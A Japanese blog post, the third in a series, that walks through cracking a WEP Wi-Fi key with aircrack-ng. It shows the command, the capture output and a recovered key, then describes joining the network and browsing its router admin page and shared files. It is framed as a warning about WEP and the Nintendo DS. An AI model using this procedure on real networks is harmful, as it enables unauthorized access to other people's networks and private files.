危ないニンテンドーDS WEPクラック ３

データ解析、クラック

aircrack-ng    にて保存したデータを解析します。
この場合はtest-01.capというファイルになります。

aaa:~$ sudo aircrack-ng test-01.cap
Opening test-01.cap
Read 591 packets.

   #  BSSID              ESSID                     Encryption

   1  00:0A:0B:CD:12:34   1234ABC4567DEF8910GHIJK1234LMN5  WEP (238 IVs)

Choosing first network as target.

Opening test-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 238 ivs.

                                 Aircrack-ng 1.0 rc3


                 [00:00:25] Tested 151726 keys (got 238 IVs)

   KB    depth   byte(vote)
           　(略)

Failed. Next try with 5000 IVs.

まだデータが少ないと怒られてしまいました。ターゲット側のパソコンでyoutubeなどを見てパケットを増やすと、どんどんデータが貯まってきます。5000貯まるごとに解析をやってくれますが、50000 IVsくらい貯まると解析できるようになるようです。

                                       Aircrack-ng 1.0 rc3


                       [00:05:55] Tested 139181 keys (got 55018 IVs)

   KB    depth   byte(vote)
            (略)

             KEY FOUND! [ 1A:55:B2:CD:44:E3:33:FG:4H:22:5I:AB:11 ]
    Decrypted correctly: 100%
   
    キーが見つかりました。
   
クラックしたパスワードで侵入してみます。

ターゲットのネットワークを開きます。パスワードを要求されますので、クラックしたKEYを入力します。：は省いて下さい。
   
                 KEY FOUND! [ 1A:55:B2:CD:44:E3:33:FG:4H:22:5I:AB:11 ]
    Decrypted correctly: 100%
   
    1A55B2CD44E333FG4H225IAB11 ←これがパスワードになります。
   

クラックしたネットワークにより、インターネットに繋がります。rootパスワードがかかっていなければ、エアーステーションの管理画面も開くことができます。さらにはネットワークを見ると、共有ファイルを見ることができます。サーバーの共有ファイルも丸見えです。
((((；ﾟДﾟ)))ｶﾞｸﾌﾞﾙ
   
WEPは、もはや暗号としては役に立っていません。パケットを集めて解析するこの方法は時間がかかりますが、WEPを一瞬で解読する方法も開発されています。もっとも野良APと違い、勝手にクラックしてアクセスすれば法に触れます。しかし悪意を持ってアクセスする者にとっては鍵のかかったドアではなく、「立ち入り禁止」の看板くらいの意味合いしかないと思います。そして当初はWPAにて暗号設定してあっても、安易にニンテンドーDSを自宅の無線LANに繋ぐことによりシステム全体の暗号がWEPに置き換わり、個人情報が丸見えになる可能性があります。

なお、新型のニンテンドーDSiはWPAに対応しています。


危ないニンテンドーDS　WEPクラック　1
危ないニンテンドーDS　WEPクラック　2